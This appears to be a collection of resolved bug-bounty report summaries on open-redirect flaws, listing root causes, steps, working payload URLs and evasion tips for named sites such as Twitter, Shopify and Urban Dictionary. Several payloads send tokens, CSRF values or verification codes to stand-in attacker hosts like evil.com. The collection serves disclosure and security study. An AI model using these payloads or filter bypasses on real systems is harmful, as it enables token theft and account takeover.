Flash FileReference upload followed a cross-domain redirect (307/308 preserve method+body) without re-checking the crossdomain.xml policy, exposing UPLOAD_COMPLETE_DATA response contents of the redirect target.
Method
- Host a SWF that uses FileReference to upload to attacker-controlled URL that 307/308-redirects to the victim origin.
- Flash (Chrome) follows the redirect and dispatches UPLOAD_COMPLETE_DATA with the destination's response body.
- Read cross-origin content, or force a file-upload POST to the victim without crossdomain check.
http://attacker.com/chromeFileUploadCrossDomain.swf?url=http://0me.me/demo/openredirect/redirect.php?target=https://plus.google.com/u/0/%26status=301
Insight — 307/308 redirects preserve the HTTP method and body; any client (Flash, fetch, XHR) that trusts the pre-redirect origin check but follows the redirect can be tricked into cross-origin reads/writes. Test whether SOP/cross-domain checks are re-evaluated after redirects.
Real-world example
Open-redirect / warning-page bypass via protocol-relative URL + control char
◆ Info
Specimen #63158 · security · awarded · 3 votes · resolved
Program securitySurface webTag open-redirect
Root cause
A markdown/link filter blocks protocol-relative // URLs but can be tricked by inserting a control character, after which the browser still treats the URL as absolute (external).
Method
- Find a link renderer that rewrites external links through a warning/redirect page but refuses // links.
- Insert a control character (e.g. \x08 backspace) after the leading slashes.
- Browser normalizes //evil.com as an absolute external URL, bypassing the warning page.
[test](/\x08/evil.com)
Insight — When a URL filter rejects // or javascript:, retry with embedded control/whitespace bytes (\x08, \x09, \x0a, \x0d, \x00) between the scheme/slashes; browsers strip them but naive server-side validators do not.
Real-world example
OAuth return/origin redirect leaks auth token
◆ Info
Specimen #12949 · urbandictionary · none · 2 votes · resolved
Program urbandictionarySurface webChain open redirect in OAuth callback -> access token / auth coTag oauthTag account-takeover
Root cause
The social-login flow reflects an origin parameter as the post-auth redirect without validation, so after the OAuth callback the browser (carrying the token/code) is redirected to an attacker host, leaking the credential.
Method
- Start the FB connect flow with origin set to attacker host
- Complete auth
- Token/code is delivered to attacker via the redirect
http://www.urbandictionary.com/auth/facebook?origin=http://evil.com
Insight — Open redirect on an OAuth return/origin/next param is an account-takeover primitive, not just phishing — it exfiltrates access tokens/codes. Always test redirect params that sit inside auth callbacks.
Real-world example
Relative-path (../) redirect to arbitrary same-domain page
◆ Info
Specimen #153652 · shopify · none · 2 votes · resolved
Program shopifySurface webChain same-domain redirect -> merchant-controlled storefront paTag account-takeover
Root cause
The admin/staff login redirect param accepts relative path traversal (../pages/...) and is not restricted to intended targets, allowing post-login redirect to any same-domain page — including a merchant-controlled storefront page hosting malicious JS.
Method
- Set the login redirect param to a ../ relative path
- Login; user lands on the traversed same-domain page
https://SHOP.myshopify.com/admin/auth/login?redirect=../pages/about-us
Insight — Even a same-domain-only redirect is exploitable when the domain hosts user-controlled content (storefront pages, uploads). Test redirect params with ../ to reach unexpected same-origin destinations.
Real-world example
Double-slash + decimal-integer IP to bypass dot filter and leak CSRF token
◆ Info
Specimen #50752 · x · USD 560 · 1 votes · resolved
Program xSurface webChain open redirect -> authenticity_token (CSRF token) exfiltraTag account-takeover
Root cause
A protocol-relative //host path redirect worked but the host value forbade dots. Encoding the target IP as a single decimal integer (no dots) satisfies the filter while browsers still resolve it to the real IP; the redirected POST leaks the authenticity_token to the external host.
Method
- Confirm //host path redirect works but dots are blocked
- Convert target host to its IP, then IP to a single decimal integer (e.g. 93.184.216.34 -> 1572395042)
- Use //1572395042/ as the host; browser resolves and redirects, leaking authenticity_token
https://mobile.twitter.com//1572395042/messages (1572395042 == 93.184.216.34)
Insight — When a host filter blocks dots, encode the destination IP in decimal/octal/hex integer form — browsers still resolve it. Redirects on state-changing pages can leak CSRF tokens/authenticity_token to the attacker host.
Real-world example
Base64-encoded destination redirect param
◆ Info
Specimen #22142 · automattic · none · 1 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
The WordPress Feed Statistics plugin base64-decodes a feed-stats-url parameter and redirects to it with no validation, affecting every site running the plugin. The base64 wrapper also hides the destination from naive URL/keyword filters and detection.
Method
- Base64-encode the attacker URL
- Pass it as ?feed-stats-url=<base64>
- Plugin decodes and redirects off-site
http://TARGET/?feed-stats-url=aHR0cDovL3d3dy5zb29ldmlsc2l0ZS5jb20v (== http://www.sooevilsite.com/)
Insight — Redirect params that decode their value (base64/hex/URL) evade filters that only inspect the raw string. When a param name suggests a URL but the value looks encoded, decode and test. Plugin/CMS-level bugs hit thousands of sites via one dork.
Real-world example
Attacker host injected into outbound verification email link
◆ Info
Specimen #145306 · veris · none · 1 votes · resolved
Program verisSurface webChain email link injection -> verification code theft -> accTag account-takeover
Root cause
The registration request includes a client-controlled sub_link parameter used to build the account-verification link emailed to the user. Changing sub_link to an attacker host makes the company-sent email contain a link to the attacker, who can harvest the verification code / phish the user.
Method
- Intercept POST /portal/register/
- Change sub_link from the relative verify path to http://evil.com
- Victim receives a genuine company email whose verification link points to attacker; clicking leaks the code
POST /portal/register/ HTTP/1.1
Host: sandbox.veris.in
csrfmiddlewaretoken=...&email=VICTIM&sub_link=http://evil.com
-> email link: http://evil.com/VICTIM/verification/code/
Insight — Client-controlled parameters that seed links in outbound emails (verify/reset/confirm paths, base URLs, sub_link, next) are high-impact redirect sinks: the redirect is delivered inside a trusted, first-party email and can steal verification/reset tokens.